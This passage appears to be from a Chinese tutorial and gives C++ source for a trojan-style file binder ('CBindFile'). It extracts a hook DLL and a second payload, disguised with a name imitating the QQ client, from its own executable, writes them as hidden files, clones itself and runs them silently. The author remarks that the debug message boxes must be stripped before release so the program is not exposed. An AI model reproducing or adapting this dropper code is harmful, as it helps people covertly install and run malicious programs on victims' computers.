3.Unbind_and_Run()
//分解已合并的文件,同时运行它们
bool CBindFile::Unbind_and_Run()
{
HANDLE hFileOut = NULL; //存放分解出文件的句柄
DWORD bytesin = 0; //一次读取的数据数目
DWORD bytesout = 0; //写入的数据数目
DWORD totalbytes = 0; //每次读去后,剩余的读取数目
CString temp_Dll = strUnbindFilePath_Dll; //分解后的dll文件名
CString temp_Sec; //分解后的绑定文件名
DWORD prog_length = 0; //绑定文件的长度
unsigned int i = 0;
//将文件指针定位到捆绑器程序长度尾部
if(SetFilePointer(hFileMyself, (LONG)modify_data.my_length,
NULL, FILE_BEGIN) != modify_data.my_length)
{
//定位文件指针出错
MessageBox(NULL, "文件分解中,定位文件指针出错!", NULL, NULL);
return false;
}
//读取第一个绑定文件的长度
if(0 == ReadFile(hFileMyself, &prog_length, sizeof(prog_length),
&bytesin, NULL))
{
//MessageBox(NULL, "分离文件中,读取第一个被绑定文件长度时出错!","错误", MB_OK);
return false;
}
//读取文件扩展名
if (0 == ReadFile(hFileMyself, m_Ext, 3, &bytesin, NULL))
{
MessageBox(NULL, "分离文件中,读取第一个被绑定文件扩展名时出错!","错误", MB_OK);
return false;
}
//查看该文件是否已经存在,存在则不用再分解出。
hFileOut = CreateFile(temp_Dll,
GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_HIDDEN, NULL);
if (INVALID_HANDLE_VALUE != hFileOut)
{
//直接把文件指针向前移动该文件长度的大小
SetFilePointer(hFileMyself, prog_length, NULL, FILE_CURRENT);
}else
{
//创建分解出的第一个文件,即HOOK.DLL
hFileOut = CreateFile(temp_Dll,
GENERIC_WRITE, FILE_SHARE_WRITE,
NULL, CREATE_ALWAYS,
FILE_ATTRIBUTE_HIDDEN, NULL);
if (INVALID_HANDLE_VALUE == hFileOut)
{
MessageBox(NULL, "分离文件中,创建第一个被绑定文件时出错!","错误", MB_OK);
return false;
}
//读取prog_length长度的数据并写入第一个文件内容
totalbytes = prog_length;
do{
if(totalbytes <= BUF_SIZE)
{
//最后一次读取
if(0 == ReadFile(hFileMyself, buf, totalbytes, &bytesin,
NULL))
{
CloseHandle(hFileOut);
MessageBox(NULL, "分离文件中,读取第一个被绑定文件内容时出错!",
NULL, NULL);
return false;
}
}
else
{
if(0 == ReadFile(hFileMyself, buf, BUF_SIZE, &bytesin,
NULL))
{
CloseHandle(hFileOut);
MessageBox(NULL, "分离文件中,读取第一个被绑定文件内容时出错!", NULL, NULL);
return false;
}
}
//写入读出的数据
if(0 == WriteFile(hFileOut, buf, bytesin, &bytesout,
NULL))
{
CloseHandle(hFileOut);
MessageBox(NULL, "分解文件中,写入第一个文件内容时出错!",
NULL, NULL);
return false;
}
//减去读去的数目,直到读完为止
totalbytes -= bytesin;
}while(0 != totalbytes);
prog_length = 0;
ZeroMemory(m_Ext, sizeof(m_Ext));
CloseHandle(hFileOut);
//读取第二个绑定文件的长度
if(0 == ReadFile(hFileMyself, &prog_length, sizeof(prog_length),
&bytesin, NULL))
{
MessageBox(NULL, "分离文件中,读取第二个被绑定文件长度时出错!","错误", MB_OK);
return false;
}
//读取文件扩展名
if (0 == ReadFile(hFileMyself, m_Ext, 3, &bytesout, NULL))
{
MessageBox(NULL, "分离文件中,读取第二个被绑定文件执行标志时出错!","错误", MB_OK);
return false;
}
//确定第二个分解出文件的名字
temp_Sec.Format("%sQicq.%s", szMyFilePath, m_Ext);
strUnbindFilePath_Sec = temp_Sec;
MessageBox(NULL, temp_Sec, NULL, NULL);
//创建第二个绑定的文件
hFileOut = CreateFile(temp_Sec,
GENERIC_WRITE, FILE_SHARE_WRITE,
NULL, CREATE_ALWAYS,
FILE_ATTRIBUTE_HIDDEN, NULL);
if (INVALID_HANDLE_VALUE == hFileOut)
{
MessageBox(NULL, "分离文件中,创建第二个被绑定文件时出错!","错误", MB_OK);
return false;
}
totalbytes = prog_length;
do
{
if(totalbytes <= BUF_SIZE)
{
if(0 ==ReadFile(hFileMyself, buf, totalbytes, &bytesin,
NULL))
{
CloseHandle(hFileOut);
MessageBox(NULL, "分离文件中,读取第一个被绑定文件内容时出错!",
NULL, NULL);
return false;
}
}
else
{
if(0 == ReadFile(hFileMyself, buf, BUF_SIZE, &bytesin,
NULL))
{
CloseHandle(hFileOut);
MessageBox(NULL, "分离文件中,读取第二个被绑定文件内容时出错!",
NULL, NULL);
return false;
}
}
if(0 == WriteFile(hFileOut, buf, bytesin, &bytesout,
NULL))
{
CloseHandle(hFileOut);
MessageBox(NULL, "分解文件中,写入第二个文件内容时出错!",
NULL, NULL);
return false;
}
totalbytes -= bytesin;
}while(0 != totalbytes);
CloseHandle(hFileOut);
MessageBox(NULL, temp_Sec, "PRINT", NULL);
//运行分解出的目标文件
Create_Process(temp_Sec, true);
return true;
}
4.CloneMySelf_and_Run()
/分解出包含原绑定文件和DLL文件成一个新文件内容和SERVER相同,
//再分解出被绑定的文件,运行它们
bool CBindFile::CloneMySelf_and_Run()
{
HANDLE hFileOut = NULL;
DWORD bytesin = 0; //读取的字节数
DWORD bytesout = 0; //写入的字节数
DWORD totalbytes = 0; //每次读取后的剩余要读取的数目
DWORD prog_length = 0; //文件的大小
CString temp_Fst; //分解出的第一个文件名字
CString temp_Sec; //分解出的第二个文件名字
//随机产生一个数值组成的文件名字
temp_Fst.Format("%s%06d.exe",szMyFilePath, rand());
MessageBox(NULL, temp_Fst, NULL, NULL);
//建立要写入的文件
hFileOut = CreateFile(temp_Fst, GENERIC_WRITE, FILE_SHARE_WRITE,NULL,
CREATE_ALWAYS,FILE_ATTRIBUTE_HIDDEN, NULL);
if(INVALID_HANDLE_VALUE == hFileOut)
{
//建立目标文件出错
MessageBox(NULL, "克隆文件中,创建第一个文件失败!", NULL, NULL);
return false;
}
SetFilePointer(hFileMyself, 0, NULL, FILE_BEGIN);
totalbytes = modify_data.my_length;
do
{
if(totalbytes <= BUF_SIZE)
{
ReadFile(hFileMyself, buf, totalbytes, &bytesin, NULL);
}
else
{
ReadFile(hFileMyself, buf, BUF_SIZE, &bytesin, NULL);
}
WriteFile(hFileOut, buf, bytesin, &bytesout, NULL);
totalbytes -= bytesin;
}while(0 != totalbytes);
//接着读取DLL的长度和运行标志
if(0 == ReadFile(hFileMyself, &prog_length, sizeof(prog_length), &bytesin, NULL))
{
//读取DLL文件长度出错
MessageBox(NULL, "克隆自身文件中,读取DLL文件长度出错!", NULL, NULL);
CloseHandle(hFileOut);
return false;
}
if(0 == WriteFile(hFileOut, &prog_length, sizeof(prog_length),&bytesout, NULL))
{
//写入dll文件长度出错
MessageBox(NULL, "克隆自身文件中,写入DLL文件长度出错!", NULL, NULL);
CloseHandle(hFileOut);
return false;
}
totalbytes = prog_length + 3;
do
{
if(totalbytes <= BUF_SIZE)
{
ReadFile(hFileMyself, buf, totalbytes, &bytesin, NULL);
}
else
{
ReadFile(hFileMyself, buf, BUF_SIZE, &bytesin, NULL);
}
WriteFile(hFileOut, buf, bytesin, &bytesout, NULL);
totalbytes -= bytesin;
}while(0 != totalbytes);
CloseHandle(hFileOut);
//运行该文件,并等待该文件运行结束,删除其临时文件
PROCESS_INFORMATION PI;
STARTUPINFO SI;
ZeroMemory(&SI, sizeof(SI));
SI.cb = sizeof(SI);
ZeroMemory(&PI, sizeof(PI));
if(Create_Process(temp_Fst, true))
{
GetRunFileProcessInfo(PI);
//运行结束后删除分解出的临时文件
WaitForSingleObject(PI.hProcess, INFINITE);
DWORD dwExitCode;
GetExitCodeProcess(PI.hProcess, &dwExitCode);
CloseHandle(PI.hThread);
CloseHandle(PI.hProcess);
}
DeleteFile(temp_Fst);
//分解第二个文件并运行
prog_length = 0;
ZeroMemory(&m_Ext, sizeof(m_Ext));
//读取第二个绑定文件的长度
if(0 == ReadFile(hFileMyself, &prog_length, sizeof(prog_length), &bytesin, NULL))
{
MessageBox(NULL, "分离文件中,读取第二个被绑定文件长度时出错!","错误", MB_OK);
return false;
}
//读取文件扩展名
if (0 == ReadFile(hFileMyself, m_Ext, 3, &bytesout, NULL))
{
MessageBox(NULL, "分离文件中,读取第二个被绑定文件执行标志时出错!","错误", MB_OK);
return false;
}
//确定第二个分解出文件的名字
temp_Sec.Format("%s%06d.%s", szMyFilePath, rand(), m_Ext);
MessageBox(NULL, temp_Sec, NULL, NULL);
//创建第二个绑定的文件
hFileOut = CreateFile(temp_Sec, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS,
FILE_ATTRIBUTE_HIDDEN, NULL);
if (INVALID_HANDLE_VALUE == hFileOut)
{
MessageBox(NULL, "分离文件中,创建第二个被绑定文件时出错!","错误", MB_OK);
return false;
}
totalbytes = prog_length;
do
{
if(totalbytes <= BUF_SIZE)
{
if(0 == ReadFile(hFileMyself, buf, totalbytes, &bytesin, NULL))
{
CloseHandle(hFileOut);
MessageBox(NULL, "分离文件中,读取第一个被绑定文件内容时出错!", NULL, NULL);
return false;
}
}
else
{
if(0 ==ReadFile(hFileMyself, buf, BUF_SIZE, &bytesin, NULL))
{
CloseHandle(hFileOut);
MessageBox(NULL, "分离文件中,读取第二个被绑定文件内容时出错!", NULL, NULL);
return false;
}
}
if(0 == WriteFile(hFileOut, buf, bytesin, &bytesout, NULL))
{
CloseHandle(hFileOut);
MessageBox(NULL, "分解文件中,写入第二个文件内容时出错!", NULL, NULL);
return false;
}
totalbytes -= bytesin;
}while(0 != totalbytes);
CloseHandle(hFileOut);
//为第二个文件设定执行方式
if(0 == lstrcmp(m_Ext, "exe"))
{
if(Create_Process(temp_Sec, true))
{
GetRunFileProcessInfo(PI);
//运行结束后删除分解出的临时文件
WaitForSingleObject(PI.hProcess, INFINITE);
CloseHandle(PI.hThread);
CloseHandle(PI.hProcess);
}
DeleteFile(temp_Sec);
}
else
{
Create_Process(temp_Sec, false);
}
return true;
}
因为本程序不能单步调试,只能通过在运行的时候弹出对话框提示变量的值来判定程序运行的状态,
所以在程序中加了许多的MessageBox.在程序发布之前得把这些MessageBox隐掉,不然就露馅了。哈哈~
最后要感谢徐景周未来工作室(Future Studio),该类是根据他的《如何将多个文件捆绑成
一个可执行文件》文章中的CBindFileDlg类改写而来的。